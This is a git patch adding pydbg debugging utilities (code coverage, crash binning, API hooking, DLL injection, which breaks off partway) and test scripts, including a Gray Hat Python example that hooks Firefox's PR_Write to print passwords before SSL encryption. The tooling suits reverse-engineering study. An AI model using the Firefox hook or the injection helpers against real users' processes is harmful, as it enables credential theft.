From 2d290466d47629fe377ecb55b10849fccb3ecd79 Mon Sep 17 00:00:00 2001 From: Remi Chateauneu Date: Mon, 17 Feb 2020 23:43:51 +0000 Subject: [PATCH 01/14] New files. --- tests/crash_dump.py | 22 +++ tests/firefox_hook.py | 68 +++++++ utils/__init__.py | 27 +++ utils/code_coverage.py | 403 +++++++++++++++++++++++++++++++++++++++ utils/crash_binning.py | 291 ++++++++++++++++++++++++++++ utils/hooking.py | 292 ++++++++++++++++++++++++++++ utils/injection.py | 177 +++++++++++++++++ utils/udraw_connector.py | 268 ++++++++++++++++++++++++++ 8 files changed, 1548 insertions(+) create mode 100644 tests/crash_dump.py create mode 100644 tests/firefox_hook.py create mode 100644 utils/__init__.py create mode 100644 utils/code_coverage.py create mode 100644 utils/crash_binning.py create mode 100644 utils/hooking.py create mode 100644 utils/injection.py create mode 100644 utils/udraw_connector.py diff --git a/tests/crash_dump.py b/tests/crash_dump.py new file mode 100644 index 0000000..2772dd9 --- /dev/null +++ b/tests/crash_dump.py @@ -0,0 +1,22 @@ +from pydbg import * +from pydbg.defines import * +from utils import crash_binning + +def handle_crash(dbg): + if dbg.dbg.u.Exception.dwFirstChance: + return DBG_EXCEPTION_NOT_HANDLED + print "Exception handling..." + crash_bin=crash_binning() + print "Record crash" + crash_bin.record_crash(dbg) + print "Synopsis" + print crash_bin.crash_synopsis() + dbg.terminate_process() + return DBG_EXCEPTION_NOT_HANDLED + +dbg=pydbg() +pid=raw_input("PID: ") +dbg.attach(int(pid)) +dbg.set_callback(EXCEPTION_STACK_OVERFLOW,handle_crash) +dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,handle_crash) +dbg.run() \ No newline at end of file diff --git a/tests/firefox_hook.py b/tests/firefox_hook.py new file mode 100644 index 0000000..cc75cec --- /dev/null +++ b/tests/firefox_hook.py @@ -0,0 +1,68 @@ +''' +Example taken from Gray Hat Python (book) +This script present a way to hook a DLL library in Firefox. For this example the script hook nspr4.dll which encrypt datas for SSL connection. + +So we will be able to get the text before it is encrypted. Moreover we catch a pattern "password" to get all login/password before they are ciphered. + +Taken from: https://gist.github.com/RobinDavid/9213868 +Tested with Firefox 3.5 (new versions use different libraries) + +''' + +from pydbg import * +from pydbg.defines import * +import utils +import sys + +dbg = pydbg() +found_firefox = False + +# Set a pattern that we can make the hook to search for +pattern = "password" + +# This is our entry hook callback function +def ssl_sniff( dbg, args ): + # Now we read out the memory pointed to by the second argument + # it is stored as an ASCII string, so we'll loop on a read until + # we reach a NULL byte + buffer = "" + offset = 0 + while 1: + byte = dbg.read_process_memory( args[1] + offset, 1 ) + if byte != "\x00": + buffer += byte + offset += 1 + continue + else: + break + if pattern in buffer: + print "Pre-Encrypted: %s" % buffer + return DBG_CONTINUE + +# Quick and dirty process enumeration to find firefox.exe +for (pid, name) in dbg.enumerate_processes(): + if name.lower() == "firefox.exe": + found_firefox = True + hooks = utils.hook_container() + dbg.attach(pid) + print "[*] Attaching to firefox.exe with PID: %d" % pid + + # Resolve the function address (Just before encryption) + hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write") + + if hook_address: + # Add the hook to the container. We aren't interested + # in using an exit callback, so we set it to None. + hooks.add( dbg, hook_address, 2, ssl_sniff, None ) + print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address + break + else: + print "[*] Error: Couldn't resolve hook address." + sys.exit(-1) + +if found_firefox: + print "[*] Hooks set, continuing process." + dbg.run() +else: + print "[*] Error: Couldn't find the firefox.exe process." + sys.exit(-1) diff --git a/utils/__init__.py b/utils/__init__.py new file mode 100644 index 0000000..4b3e2bc --- /dev/null +++ b/utils/__init__.py @@ -0,0 +1,27 @@ +# +# $Id: __init__.py 211 2007-08-16 20:18:47Z pedram $ +# + +__all__ = \ +[ + "code_coverage", + "crash_binning", + "hooking", + "injection", + "udraw_connector", +] + +import sys + +if sys.version_info >= (3,): + from .code_coverage import * + from .crash_binning import * + from .hooking import * + from .injection import * + from .udraw_connector import * +else: + from code_coverage import * + from crash_binning import * + from hooking import * + from injection import * + from udraw_connector import * diff --git a/utils/code_coverage.py b/utils/code_coverage.py new file mode 100644 index 0000000..01ea398 --- /dev/null +++ b/utils/code_coverage.py @@ -0,0 +1,403 @@ +# +# Code Coverage +# Copyright (C) 2006 Pedram Amini +# +# $Id: code_coverage.py 193 2007-04-05 13:30:01Z cameron $ +# +# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public +# License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied +# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along with this program; if not, write to the Free +# Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +''' +@author: Pedram Amini +@license: GNU General Public License 2.0 or later +@contact: pedram.amini@gmail.com +@organization: www.openrce.org +''' + +# we don't want to make mysql a mandatory module for the utils library. +try: import MySQLdb +except: pass + +import time +import zlib +try: + import cPickle +except ImportError: + import pickle + +class __code_coverage_struct__: + eip = 0x00000000 + tid = 0 + num = 0 + timestamp = 0 + module = "" + base = 0 + is_function = 0 + + # registers and stack values. + eax = ebx = ecx = edx = edi = esi = ebp = esp = esp_4 = esp_8 = esp_c = esp_10 = 0 + + # register dereferences. + eax_deref = ebx_deref = ecx_deref = edx_deref = edi_deref = esi_deref = ebp_deref = "" + + # stack dereferences. + esp_deref = esp_4_deref = esp_8_deref = esp_c_deref = esp_10_deref = "" + + +class code_coverage: + ''' + The purpose of this class is to provide an easy interface to keeping track of code coverage data. The Process + Stalker utility for example relies on this class. + + @note: Contains hit list in self.hits. + ''' + + hits = {} + num = 1 + heavy = None + mysql = None + main_module = "[MAIN]" + + #################################################################################################################### + def __init__ (self, mysql=None, heavy=False): + ''' + @type heavy: Boolean + @param heavy: (Optional, Def=False) Flag controlling whether or not to save context information at each point. + ''' + + self.hits = {} + self.num = 1 + self.heavy = heavy + self.mysql = mysql + self.main_module = "[MAIN]" + + + #################################################################################################################### + def add (self, pydbg, is_function): + ''' + Add the current context to the tracked code coverage. + + @type pydbg: PyDbg + @param pydbg: Debugger instance + @type is_function: Integer (bool 0/1) + @param is_function: Flag whether or not the current hit occurred at the start of a function. + + @rtype: code_coverage + @return: self + ''' + + ccs = __code_coverage_struct__() + + # assume we hit inside the main module, unless we can find the specific module we hit in. + module = self.main_module + base = 0 + + # determine the module this hit occured in. + mod32 = pydbg.addr_to_module(pydbg.context.Eip) + + if mod32: + module = mod32.szModule.lower() + base = mod32.modBaseAddr + + ccs.eip = pydbg.context.Eip + ccs.tid = pydbg.dbg.dwThreadId + ccs.num = self.num + ccs.timestamp = int(time.time()) + ccs.module = module + ccs.base = base + ccs.is_function = is_function + + context_list = pydbg.dump_context_list(stack_depth=4, print_dots=True) + + if self.heavy: + ccs.eax = pydbg.context.Eax + ccs.ebx = pydbg.context.Ebx + ccs.ecx = pydbg.context.Ecx + ccs.edx = pydbg.context.Edx + ccs.edi = pydbg.context.Edi + ccs.esi = pydbg.context.Esi + ccs.ebp = pydbg.context.Ebp + ccs.esp = pydbg.context.Esp + ccs.esp_4 = context_list["esp+04"]["value"] + ccs.esp_8 = context_list["esp+08"]["value"] + ccs.esp_C = context_list["esp+0c"]["value"] + ccs.esp_10 = context_list["esp+10"]["value"] + + ccs.eax_deref = context_list["eax"] + ccs.ebx_deref = context_list["ebx"] + ccs.ecx_deref = context_list["ecx"] + ccs.edx_deref = context_list["edx"] + ccs.edi_deref = context_list["edi"] + ccs.esi_deref = context_list["esi"] + ccs.ebp_deref = context_list["ebp"] + ccs.esp_deref = context_list["esp"] + ccs.esp_4_deref = context_list["esp+04"]["desc"] + ccs.esp_8_deref = context_list["esp+08"]["desc"] + ccs.esp_c_deref = context_list["esp+0c"]["desc"] + ccs.esp_10_deref = context_list["esp+10"]["desc"] + + if not self.hits.has_key(ccs.eip): + self.hits[ccs.eip] = [] + + self.hits[ccs.eip].append(ccs) + self.num += 1 + + return self + + + #################################################################################################################### + def clear_mysql (self, target_id, tag_id): + ''' + Removes all code coverage hits from target/tag id combination. Expects connection to database to already exist + via self.mysql. + + @see: connect_mysql(), import_mysql(), export_mysql() + + @type target_id: Integer + @param target_id: Name of target currently monitoring code coverage of + @type tag_id: Integer + @param tag_id: Name of this code coverage run + + @rtype: code_coverage + @return: self + ''' + + cursor = self.mysql.cursor() + + try: + cursor.execute("DELETE FROM cc_hits WHERE target_id = '%d' AND tag_id = '%d'" % (target_id, tag_id)) + except MySQLdb.Error as e: + print("Error %d: %s" % (e.args[0], e.args[1])) + print(sql) + print("") + + cursor.close() + return self + + + #################################################################################################################### + def connect_mysql (self, host, user, passwd): + ''' + Establish a connection to a MySQL server. This must be called prior to export_mysql() or import_mysql(). + Alternatively, you can connect manually and set the self.mysql member variable. + + @see: export_mysql(), import_mysql() + + @type host: String + @param host: MySQL hostname or ip address + @type user: String + @param user: MySQL username + @type passwd: String + @param passwd: MySQL password + + @rtype: code_coverage + @return: self + ''' + + self.mysql = MySQLdb.connect(host=host, user=user, passwd=passwd, db="paimei") + + return self + + + #################################################################################################################### + def export_file (self, file_name): + ''' + Dump the entire object structure to disk. + + @see: import_file() + + @type file_name: String + @param file_name: File name to export to + + @rtype: code_coverage + @return: self + ''' + + fh = open(file_name, "wb+") + fh.write(zlib.compress(cPickle.dumps(self, protocol=2))) + fh.close() + + return self + + + #################################################################################################################### + def export_mysql (self, target_id, tag_id): + ''' + Export code coverage data to MySQL. Expects connection to database to already exist via self.mysql. + + @see: clear_mysql(), connect_mysql(), import_mysql() + + @type target_id: Integer + @param target_id: Name of target currently monitoring code coverage of + @type tag_id: Integer + @param tag_id: Name of this code coverage run + + @rtype: code_coverage + @return: self + ''' + + cursor = self.mysql.cursor() + + for hits in self.hits.values(): + for ccs in hits: + sql = "INSERT INTO cc_hits" + sql += " SET target_id = '%d'," % target_id + sql += " tag_id = '%d'," % tag_id + sql += " num = '%d'," % ccs.num + sql += " timestamp = '%d'," % ccs.timestamp + sql += " eip = '%d'," % ccs.eip + sql += " tid = '%d'," % ccs.tid + sql += " eax = '%d'," % ccs.eax + sql += " ebx = '%d'," % ccs.ebx + sql += " ecx = '%d'," % ccs.ecx + sql += " edx = '%d'," % ccs.edx + sql += " edi = '%d'," % ccs.edi + sql += " esi = '%d'," % ccs.esi + sql += " ebp = '%d'," % ccs.ebp + sql += " esp = '%d'," % ccs.esp + sql += " esp_4 = '%d'," % ccs.esp_4 + sql += " esp_8 = '%d'," % ccs.esp_8 + sql += " esp_c = '%d'," % ccs.esp_c + sql += " esp_10 = '%d'," % ccs.esp_10 + sql += " eax_deref = '%s'," % ccs.eax_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " ebx_deref = '%s'," % ccs.ebx_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " ecx_deref = '%s'," % ccs.ecx_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " edx_deref = '%s'," % ccs.edx_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " edi_deref = '%s'," % ccs.edi_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " esi_deref = '%s'," % ccs.esi_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " ebp_deref = '%s'," % ccs.ebp_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " esp_deref = '%s'," % ccs.esp_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " esp_4_deref = '%s'," % ccs.esp_4_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " esp_8_deref = '%s'," % ccs.esp_8_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " esp_c_deref = '%s'," % ccs.esp_c_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " esp_10_deref = '%s'," % ccs.esp_10_deref.replace("\\", "\\\\").replace("'", "\\'") + sql += " is_function = '%d'," % ccs.is_function + sql += " module = '%s'," % ccs.module + sql += " base = '%d' " % ccs.base + + try: + cursor.execute(sql) + except MySQLdb.Error as e: + print("Error %d: %s" % (e.args[0], e.args[1])) + print(sql) + print("") + + cursor.close() + return self + + + #################################################################################################################### + def import_file (self, file_name): + ''' + Load the entire object structure from disk. + + @see: export_file() + + @type file_name: String + @param file_name: File name to import from + + @rtype: code_coverage + @return: self + ''' + + fh = open(file_name, "rb") + tmp = cPickle.loads(zlib.decompress(fh.read())) + fh.close() + + self.hits = tmp.hits + self.num = tmp.num + self.heavy = tmp.heavy + self.mysql = tmp.mysql + self.main_module = tmp.main_module + + return self + + + #################################################################################################################### + def import_mysql (self, target_id, tag_id): + ''' + Import code coverage from MySQL. Expects connection to database to already exist via self.mysql. + + @see: clear_mysql(), connect_mysql(), export_mysql() + + @type target_id: Integer + @param target_id: Name of target currently monitoring code coverage of + @type tag_id: Integer + @param tag_id: Name of this code coverage run + + @rtype: code_coverage + @return: self + ''' + + self.reset() + + hits = self.mysql.cursor(MySQLdb.cursors.DictCursor) + hits.execute("SELECT * FROM cc_hits WHERE target_id='%d' AND tag_id='%d'" % (target_id, tag_id)) + + for hit in hits.fetchall(): + ccs = __code_coverage_struct__() + + ccs.eip = hit["eip"] + ccs.tid = hit["tid"] + ccs.num = hit["num"] + ccs.timestamp = hit["timestamp"] + ccs.module = hit["module"] + ccs.base = hit["base"] + ccs.is_function = hit["is_function"] + + if self.heavy: + ccs.eax = hit["eax"] + ccs.ebx = hit["ebx"] + ccs.ecx = hit["ecx"] + ccs.edx = hit["edx"] + ccs.edi = hit["edi"] + ccs.esi = hit["esi"] + ccs.ebp = hit["ebp"] + ccs.esp = hit["esp"] + ccs.esp_4 = hit["esp_4"] + ccs.esp_8 = hit["esp_8"] + ccs.esp_C = hit["esp_c"] + ccs.esp_10 = hit["esp_10"] + + ccs.eax_deref = hit["eax_deref"] + ccs.ebx_deref = hit["ebx_deref"] + ccs.ecx_deref = hit["ecx_deref"] + ccs.edx_deref = hit["edx_deref"] + ccs.edi_deref = hit["edi_deref"] + ccs.esi_deref = hit["esi_deref"] + ccs.ebp_deref = hit["ebp_deref"] + ccs.esp_deref = hit["esp_deref"] + ccs.esp_4_deref = hit["esp_4_deref"] + ccs.esp_8_deref = hit["esp_8_deref"] + ccs.esp_C_deref = hit["esp_c_deref"] + ccs.esp_10_deref = hit["esp_10_deref"] + + if not self.hits.has_key(ccs.eip): + self.hits[ccs.eip] = [] + + self.hits[ccs.eip].append(ccs) + self.num += 1 + + hits.close() + return self + + + #################################################################################################################### + def reset (self): + ''' + Reset the internal counter and hit list dictionary. + + @rtype: code_coverage + @return: self + ''' + + self.hits = {} + self.num = 1 diff --git a/utils/crash_binning.py b/utils/crash_binning.py new file mode 100644 index 0000000..7987958 --- /dev/null +++ b/utils/crash_binning.py @@ -0,0 +1,291 @@ +# +# Crash Binning +# Copyright (C) 2006 Pedram Amini +# +# $Id: crash_binning.py 193 2007-04-05 13:30:01Z cameron $ +# +# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public +# License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied +# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along with this program; if not, write to the Free +# Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +''' +@author: Pedram Amini +@license: GNU General Public License 2.0 or later +@contact: pedram.amini@gmail.com +@organization: www.openrce.org +''' + +import sys +import zlib +try: + import cPickle +except ImportError: + import pickle + +class __crash_bin_struct__: + exception_module = None + exception_address = 0 + write_violation = 0 + violation_address = 0 + violation_thread_id = 0 + context = None + context_dump = None + disasm = None + disasm_around = [] + stack_unwind = [] + seh_unwind = [] + extra = None + + +class crash_binning: + ''' + @todo: Add MySQL import/export. + ''' + + bins = {} + last_crash = None + pydbg = None + + #################################################################################################################### + def __init__ (self): + ''' + ''' + + self.bins = {} + self.last_crash = None + self.pydbg = None + + + #################################################################################################################### + def record_crash (self, pydbg, extra=None): + ''' + Given a PyDbg instantiation that at the current time is assumed to have "crashed" (access violation for example) + record various details such as the disassemly around the violating address, the ID of the offending thread, the + call stack and the SEH unwind. Store the recorded data in an internal dictionary, binning them by the exception + address. + + @type pydbg: pydbg + @param pydbg: Instance of pydbg + @type extra: Mixed + @param extra: (Optional, Def=None) Whatever extra data you want to store with this bin + ''' + + self.pydbg = pydbg + crash = __crash_bin_struct__() + + # add module name to the exception address. + exception_module = pydbg.addr_to_module(pydbg.dbg.u.Exception.ExceptionRecord.ExceptionAddress) + + if exception_module: + exception_module = exception_module.szModule + else: + exception_module = "[INVALID]" + + crash.exception_module = exception_module + crash.exception_address = pydbg.dbg.u.Exception.ExceptionRecord.ExceptionAddress + crash.write_violation = pydbg.dbg.u.Exception.ExceptionRecord.ExceptionInformation[0] + crash.violation_address = pydbg.dbg.u.Exception.ExceptionRecord.ExceptionInformation[1] + crash.violation_thread_id = pydbg.dbg.dwThreadId + crash.context = pydbg.context + crash.context_dump = pydbg.dump_context(pydbg.context, print_dots=False) + crash.disasm = pydbg.disasm(crash.exception_address) + crash.disasm_around = pydbg.disasm_around(crash.exception_address, 10) + crash.stack_unwind = pydbg.stack_unwind() + crash.seh_unwind = pydbg.seh_unwind() + crash.extra = extra + + # add module names to the stack unwind. + for i in range(len(crash.stack_unwind)): + addr = crash.stack_unwind[i] + module = pydbg.addr_to_module(addr) + + if module: + module = module.szModule + else: + module = "[INVALID]" + + crash.stack_unwind[i] = "%s:%08x" % (module, addr) + + + # add module names to the SEH unwind. + for i in range(len(crash.seh_unwind)): + (addr, handler) = crash.seh_unwind[i] + + module = pydbg.addr_to_module(handler) + + if module: + module = module.szModule + else: + module = "[INVALID]" + + crash.seh_unwind[i] = (addr, handler, "%s:%08x" % (module, handler)) + + if not self.bins.has_key(crash.exception_address): + self.bins[crash.exception_address] = [] + + self.bins[crash.exception_address].append(crash) + self.last_crash = crash + + + #################################################################################################################### + def crash_synopsis (self, crash=None): + ''' + For the supplied crash, generate and return a report containing the disassemly around the violating address, + the ID of the offending thread, the call stack and the SEH unwind. If not crash is specified, then call through + to last_crash_synopsis() which returns the same information for the last recorded crash. + + @see: crash_synopsis() + + @type crash: __crash_bin_struct__ + @param crash: (Optional, def=None) Crash object to generate report on + + @rtype: String + @return: Crash report + ''' + + if not crash: + return self.last_crash_synopsis() + + if crash.write_violation: + direction = "write to" + else: + direction = "read from" + + synopsis = "%s:%08x %s from thread %d caused access violation\nwhen attempting to %s 0x%08x\n\n" % \ + ( + crash.exception_module, \ + crash.exception_address, \ + crash.disasm, \ + crash.violation_thread_id, \ + direction, \ + crash.violation_address \ + ) + + synopsis += crash.context_dump + + synopsis += "\ndisasm around:\n" + for (ea, inst) in crash.disasm_around: + synopsis += "\t0x%08x %s\n" % (ea, inst) + + if len(crash.stack_unwind): + synopsis += "\nstack unwind:\n" + for entry in crash.stack_unwind: + synopsis += "\t%s\n" % entry + + if len(crash.seh_unwind): + synopsis += "\nSEH unwind:\n" + for (addr, handler, handler_str) in crash.seh_unwind: + synopsis += "\t%08x -> %s\n" % (addr, handler_str) + + return synopsis + "\n" + + + #################################################################################################################### + def export_file (self, file_name): + ''' + Dump the entire object structure to disk. + + @see: import_file() + + @type file_name: String + @param file_name: File name to export to + + @rtype: crash_binning + @return: self + ''' + + # null out what we don't serialize but save copies to restore after dumping to disk. + last_crash = self.last_crash + pydbg = self.pydbg + + self.last_crash = self.pydbg = None + + fh = open(file_name, "wb+") + fh.write(zlib.compress(cPickle.dumps(self, protocol=2))) + fh.close() + + self.last_crash = last_crash + self.pydbg = pydbg + + return self + + + #################################################################################################################### + def import_file (self, file_name): + ''' + Load the entire object structure from disk. + + @see: export_file() + + @type file_name: String + @param file_name: File name to import from + + @rtype: crash_binning + @return: self + ''' + + fh = open(file_name, "rb") + tmp = cPickle.loads(zlib.decompress(fh.read())) + fh.close() + + self.bins = tmp.bins + + return self + + + #################################################################################################################### + def last_crash_synopsis (self): + ''' + For the last recorded crash, generate and return a report containing the disassemly around the violating + address, the ID of the offending thread, the call stack and the SEH unwind. + + @see: crash_synopsis() + + @rtype: String + @return: Crash report + ''' + + if self.last_crash.write_violation: + direction = "write to" + else: + direction = "read from" + + synopsis = "%s:%08x %s from thread %d caused access violation\nwhen attempting to %s 0x%08x\n\n" % \ + ( + self.last_crash.exception_module, \ + self.last_crash.exception_address, \ + self.last_crash.disasm, \ + self.last_crash.violation_thread_id, \ + direction, \ + self.last_crash.violation_address \ + ) + + synopsis += self.last_crash.context_dump + + synopsis += "\ndisasm around:\n" + for (ea, inst) in self.last_crash.disasm_around: + synopsis += "\t0x%08x %s\n" % (ea, inst) + + if len(self.last_crash.stack_unwind): + synopsis += "\nstack unwind:\n" + for entry in self.last_crash.stack_unwind: + synopsis += "\t%s\n" % entry + + if len(self.last_crash.seh_unwind): + synopsis += "\nSEH unwind:\n" + for (addr, handler, handler_str) in self.last_crash.seh_unwind: + try: + disasm = self.pydbg.disasm(handler) + except: + disasm = "[INVALID]" + + synopsis += "\t%08x -> %s %s\n" % (addr, handler_str, disasm) + + return synopsis + "\n" \ No newline at end of file diff --git a/utils/hooking.py b/utils/hooking.py new file mode 100644 index 0000000..f0233a1 --- /dev/null +++ b/utils/hooking.py @@ -0,0 +1,292 @@ +# +# API Hooking Abstraction Helper +# Copyright (C) 2006 Pedram Amini +# +# $Id: hooking.py 193 2007-04-05 13:30:01Z cameron $ +# +# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public +# License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied +# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along with this program; if not, write to the Free +# Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +''' +@author: Pedram Amini +@license: GNU General Public License 2.0 or later +@contact: pedram.amini@gmail.com +@organization: www.openrce.org +''' + +from pydbg.defines import * + +######################################################################################################################## +class hook_container: + ''' + The purpose of this class is to provide an easy interface for hooking the entry and return points of arbitrary + API calls. The hooking of one or both of the points is optional. Example usage:: + + def CreateFileA_on_entry (dbg, args): + pass + + def CreateFileA_on_return (dbg, args, return_value): + pass + + h = hooks(dbg) + h.add(dbg.func_resolve("kernel32", "CreateFileA"), 7, CreateFileA_on_entry, CreateFileA_on_exit) + + This class transparently takes care of various thread-related race conditions. + ''' + + hooks = {} + + #################################################################################################################### + def __init__ (self): + self.hooks = {} + + + #################################################################################################################### + def add (self, pydbg, address, num_args, entry_hook=None, exit_hook=None): + ''' + Add a new hook on the specified API which accepts the specified number of arguments. Optionally specify callback + functions for hooked API entry / exit events. The entry / exit callback prototypes are:: + + entry(dbg, args) + + Where entry receives the active PyDbg instance as well as a list of the arguments passed to the hooked routine:: + + exit (dbg, args, return_value) + + Where exit received the active PyDbg instance, a list of the arguments passed to the hooked routine and the + return value from the hooked routine. + + @type pydbg: PyDbg Instance + @param pydbg: PyDbg Instance + @type address: Long + @param address: Address of function to hook + @type num_args: Integer + @param num_args: (Optional, Def=0) Number of arguments in function to hook + @type entry_hook: Function Pointer + @param entry_hook: (Optional, Def=None) Function to call on hooked API entry + @type exit_hook: Function Pointer + @param exit_hook: (Optional, Def=None) Function to call on hooked API exit + + @rtype: hooks + @return: Self + ''' + + # ensure a hook doesn't already exist at the requested address. + if address in self.hooks.keys(): + return + + # create a new hook instance and activate it. + h = hook(address, num_args, entry_hook, exit_hook) + h.hook(pydbg) + + # save the newly created hook into the internal dictionary. + self.hooks[address] = h + + return self + + + #################################################################################################################### + def remove (self, pydbg, address): + ''' + De-activate and remove the hook from the specified API address. + + @type pydbg: PyDbg Instance + @param pydbg: PyDbg Instance + @type address: Long + @param address: Address of function to remove hook from + + @rtype: hooks + @return: Self + ''' + + # ensure the address maps to a valid hook point. + if address not in self.hooks.keys(): + return + + # de-activate the hook. + self.hooks[address].unhook(pydbg) + + # remove the hook from the internal dictionary. + del(self.hooks[address]) + + return self + + + #################################################################################################################### + def iterate (self, address): + ''' + A simple iterator function that can be used to iterate through all hooks. Yielded objects are of type hook(). + + @rtype: hook + @return: Iterated hook entries. + ''' + + for hook in self.hooks.values(): + yield hook + + +######################################################################################################################## +class hook: + ''' + This helper class abstracts the activation/deactivation of individual hooks. The class is responsible for + maintaining the various state variables requires to prevent race conditions. + ''' + + hooks = None + address = 0 + num_args = 0 + entry_hook = None + exit_hook = None + arguments = {} + exit_bps = {} + + #################################################################################################################### + def __init__ (self, address, num_args, entry_hook=None, exit_hook=None): + ''' + Initialize the object with the specified parameters. + + @type address: Long + @param address: Address of function to hook + @type num_args: Integer + @param num_args: (Optional, Def=0) Number of arguments in function to hook + @type entry_hook: Function Pointer + @param entry_hook: (Optional, def=None) Function to call on hooked API entry + @type exit_hook: Function Pointer + @param exit_hook: (Optional, def=None) Function to call on hooked API exit + ''' + + self.address = address + self.num_args = num_args + self.entry_hook = entry_hook + self.exit_hook = exit_hook + self.arguments = {} + self.exit_bps = {} + + + #################################################################################################################### + def hook (self, pydbg): + ''' + Activate the hook by setting a breakpoint on the previously specified address. Breakpoint callbacks are proxied + through an internal routine that determines and passes further needed information such as function arguments + and return value. + + @type pydbg: PyDbg Instance + @param pydbg: PyDbg Instance + ''' + + pydbg.bp_set(self.address, restore=True, handler=self.__proxy_on_entry) + + + #################################################################################################################### + def unhook (self, pydbg): + ''' + De-activate the hook by by removing the breakpoint on the previously specified address. + + @type pydbg: PyDbg Instance + @param pydbg: PyDbg Instance + ''' + + pydbg.bp_del(self.address) + + # ensure no breakpoints exist on any registered return addresses. + for address in self.exit_bps.keys(): + pydbg.bp_del(address) + + + #################################################################################################################### + def __proxy_on_entry (self, pydbg): + ''' + The breakpoint handler callback is proxied through this routine for the purpose of passing additional needed + information to the user specified hook_{entry,exit} callback. This routine also allows provides a default + return value of DBG_CONTINUE in the event that the user specified hook callback does not return a value. This + allows for further abstraction between hooking and the debugger. + + @type pydbg: PyDbg + @param pydbg: Debugger instance + + @rtype: DWORD + @return: Debugger continue status + ''' + + continue_status = None + + # retrieve and store the arguments to the hooked function. + # we categorize arguments by thread id to avoid an entry / exit matching race condition, example: + # - thread one enters API, saves arguments + # - thread two enters API, overwrites arguments + # - thread one exists API and uses arguments from thread two + tid = pydbg.dbg.dwThreadId + self.arguments[tid] = [] + + for i in range(1, self.num_args + 1): + self.arguments[tid].append(pydbg.get_arg(i)) + + # if an entry point callback was specified, call it and grab the return value. + if self.entry_hook: + continue_status = self.entry_hook(pydbg, self.arguments[tid]) + + # if an exit hook callback was specified, determine the function exit. + if self.exit_hook: + function_exit = pydbg.get_arg(0) + + # set a breakpoint on the function exit. + pydbg.bp_set(function_exit, restore=True, handler=self.__proxy_on_exit) + + # increment the break count for the exit bp. + # we track the number of breakpoints set on the exit point to avoid a hook exit race condition, ie: + # - thread one enters API sets BP on exit point + # - thread two enters API sets BP on exit point + # - thread one exits API and removes BP from exit point + # - thread two misses exit BP + self.exit_bps[function_exit] = self.exit_bps.get(function_exit, 0) + 1 + + # if a return value was not explicitly specified, default to DBG_CONTINUE. + if continue_status == None: + continue_status = DBG_CONTINUE + + return continue_status + + + #################################################################################################################### + def __proxy_on_exit (self, pydbg): + ''' + The breakpoint handler callback is proxied through this routine for the purpose of passing additional needed + information to the user specified hook_{entry,exit} callback. This routine also allows provides a default + return value of DBG_CONTINUE in the event that the user specified hook callback does not return a value. This + allows for further abstraction between hooking and the debugger. + + @type pydbg: PyDbg + @param pydbg: Debugger instance + + @rtype: DWORD + @return: Debugger continue status + ''' + + # if we are in this function, then an exit point callback was specified, call it and grab the return value. + if pydbg.dbg.dwThreadId not in self.arguments.keys(): + return + + continue_status = self.exit_hook(pydbg, self.arguments[pydbg.dbg.dwThreadId], pydbg.returned_value()) + + eip_register = pydbg.return_address() + + # reduce the break count + self.exit_bps[eip_register] -= 1 + + # if the break count is 0, remove the bp from the exit point. + if self.exit_bps[eip_register] == 0: + pydbg.bp_del(eip_register) + + # if a return value was not explicitly specified, default to DBG_CONTINUE. + if continue_status == None: + continue_status = DBG_CONTINUE + + return continue_status diff --git a/utils/injection.py b/utils/injection.py new file mode 100644 index 0000000..e0f84d4 --- /dev/null +++ b/utils/injection.py @@ -0,0 +1,177 @@ +# +# DLL Injection/Ejection Helper +# Copyright (C) 2007 Justin Seitz +# +# $Id: injection.py 238 2010-04-05 20:40:46Z rgovostes $ +# +# This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public +# License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later +# version. +# +# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied +# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along with this program; if not, write to the Free +# Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# + +''' +@author: Justin Seitz +@license: GNU General Public License 2.0 or later +@contact: jms@bughunter.ca +@organization: www.openrce.org +''' + +import os.path + +from pydbg import * +from pydbg.defines import * +from pydbg.my_ctypes import * + +# macos compatability. +try: + kernel32 = windll.kernel32 +except: + kernel32 = CDLL(os.path.join(os.path.dirname(__file__), "libmacdll.dylib")) + +######################################################################################################################## +class inject: + ''' + This class abstracts the ability to inject and eject a DLL into a remote process. + ''' + + #################################################################################################################### + def __init__ (self): + pass + + #################################################################################################################### + 